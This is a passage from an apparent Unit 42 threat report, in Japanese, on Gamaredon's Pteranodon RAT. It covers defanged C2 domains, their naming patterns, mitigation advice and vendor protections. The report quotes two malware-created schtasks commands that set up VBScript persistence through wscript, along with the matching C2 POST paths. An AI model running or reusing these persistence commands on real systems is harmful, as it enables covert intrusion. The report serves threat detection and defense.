この最後のクラスタは、Pteranodonと呼ばれるカスタムリモート管理ツール(RAT)のC2インフラとして機能しているようです。Gamaredonはこのコードを何年にもわたって使用、維持、開発更新してきました。このコードには、アンチウイルスによる検出を妨害するため、とくにサンドボックス環境を特定するよう設計された検出対策機能が含まれています。このRATでは、侵害システム上でファイルのダウンロード・実行、スクリーンショットのキャプチャ、任意のコマンド実行が可能です。

私たちはこの3ヶ月間でPteranodonのサンプルを33個確認しました。これらのサンプルには共通して7ZSfxMod_x86.exeという名前がつけられています。このクラスタを軸にして以下のC2インフラを確認しました。

ドメイン 登録日
takak[.]ru 9/18/2021
rimien[.]ru 9/18/2021
maizuko[.]ru 9/2/2021
iruto[.]ru 9/2/2021
gloritapa[.]ru 8/5/2021
gortisir[.]ru 8/5/2021
gortomalo[.]ru 8/5/2021
langosta[.]ru 6/25/2021
malgaloda[.]ru 6/8/2021

表8 クラスタ3のドメイン

クラスタ2でも見られたとおり、ここでもドメインレピュテーションのエージングが見られました。

クラスタ3には興味深い命名パターンが見られますが、これらはクラスタ1のホスト名やサブドメイン名にも見られたものです。アクターは英単語を使い、単語の最初の2文字か3文字でグループ化しているようです。たとえば次のようになります。

deep-rooted.gloritapa[.]ru
deep-sinking.gloritapa[.]ru
deepwaterman.gloritapa[.]ru
deepnesses.gloritapa[.]ru
deep-lunged.gloritapa[.]ru
deerfood.gortomalo[.]ru
deerbrook.gortomalo[.]ru
despite.gortisir[.]ru
des.gortisir[.]ru
desire.gortisir[.]ru

このパターンは、クラスタ2のものとは異なりますが、クラスタ1(ドロッパ)のドメインでも観察されています。例えば次のようなものです。

alley81.salts.kolorato[.]ru
allied.striman[.]ru
allowance.hazari[.]ru
allowance.telefar[.]ru
ally.midiatr[.]ru
allocate54.previously.bilorotka[.]ru
alluded6.perfect.bilorotka[.]ru
already67.perfection.zanulor[.]ru
already8.perfection.zanulor[.]ru

このパターンは、関連サンプルが作成するHTTP POSTやファイル、ディレクトリにも引き継がれています。

例1:

SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee

deerflys.gortomalo[.]ru

C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn "deepmost" /tr "wscript.exe "C:\Users\Public\\deep-naked\deepmost.fly" counteract /create //b /criminal //e:VBScript /cracker counteract " /F

POST /index.eef/deep-water613

例2:

SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13

deer-neck.gortomalo[.]ru

"C:\Windows\System32\schtasks.exe" /CREATE /sc minute /mo 13 /tn "deep-worn" /tr "wscript.exe "C:\Users\Public\\deerberry\deep-worn.tmp" crumb /cupboard //b /cripple //e:VBScript /curse crumb " /F

POST /cache.jar/deerkill523

このパターンは一部のドメインでのみ見られることから、少数のアクターやチームが採用している手法であると考えられます。これは、同じような命名規則を採用しているクラスタ3のサンプルとクラスタ1のサンプルとに関連性がある可能性を示唆するものです。一方、クラスタ1のドメインでは、クラスタ2の大きな数字やランダム文字列を使った命名手法は見られませんでした。

結論

Gamaredonは、およそ10年前からウクライナの被害者を標的にしています。ウクライナをめぐる国際的緊張が解消されないなか、Gamaredonのオペレーションはこの地域におけるロシアの利益にフォーカスしたものになると思われます。本稿は、国家支援型サイバー脅威の検知・防御に、攻撃インフラやマルウェアの研究、コミュニティ間の協力が重要であることを強調するものです。私たちは、現在活動中のGamaredonインフラの3つの大きなクラスタをマッピングしましたが、このほかにも未発見のものがあると考えています。Unit 42は今後もウクライナ情勢を注意深く監視し、世界中のお客様を保護する防御策を講じられるよう、積極的な指標のハンティングを続けます。すべての組織に本稿の調査結果を活用して同脅威のハンティングを行い、防御につとめることをお勧めします。

保護と緩和策

進化する脅威に対抗する最善の防御は、防止を重視したセキュリティ対策です。各組織での以下の実施を推奨します。

  • ネットワークログやエンドポイントログを検索し、同脅威グループと関連する侵害指標の有無を確認します。
  • お使いのサイバーセキュリティソリューションが、上記で特定されたアクティブなインフラのIoCについて効果的にブロックできることを確認します。
  • DNSセキュリティソリューションを導入し、既知のC2インフラに対するDNSリクエストを検出・緩和します。
  • AS 197695(Reg[.]ru)と通信するすべてのネットワークトラフィックにさらなる精査を加えます。
  • 侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡ください(ご相談は弊社製品のお客様には限定されません)。

パロアルトネットワークス製品をご利用のお客様には、弊社製品・サービスにより本攻撃キャンペーンに関連する以下の保護が提供されています。

Cortex XDRは本稿で紹介したマルウェアの手法からエンドポイントを保護します。

クラウドベースの脅威分析サービスであるWildFireは、本稿で取り上げたマルウェアを悪意のあるものとして正確に特定します。

Advanced URL FilteringDNS セキュリティは同攻撃グループに関連するすべてのフィッシングドメインとマルウェアドメインを悪意のあるものとして識別します。

AutoFocusのコンテキストに基づく脅威インテリジェンスサービスをご利用中のお客様は、次のタグを使用してこれらの攻撃に関連するマルウェアを表示することができます: Gamaredon Group

パロアルトネットワークスはファイルサンプルや侵害の兆候などをふくむこれらの調査結果をCyber Threat Alliance (CTA サイバー脅威アライアンス) のメンバーと共有しました。CTA のメンバーはこのインテリジェンスを使用して、お客様に保護を迅速に提供し、悪意のあるサイバー攻撃者を体系的に阻害することができます。詳細については Cyber Threat Alliance からご覧ください。

IoC

ドメイン、IPアドレス、マルウェアのハッシュのリストは、Unit 42のGitHubで公開されています。2022-02-16の更新で本稿に含めた追加のIoCもこちらで共有されています。

追加リソース

Gamaredonグループのツールセットの進化 – パロアルトネットワークス Unit 42
脅威に関する情報: 現在進行中のロシアとウクライナのサイバー紛争 – パロアルトネットワークス Unit 42
Technical Report on Armageddon / Gamaredon – Security Service of Ukraine
Tale of Gamaredon Infection – CERT-EE / Estonian Information System Authority

2022-02-17 10:00 JST 英語版更新日 2022年2月16日 06:30 PST の内容を反映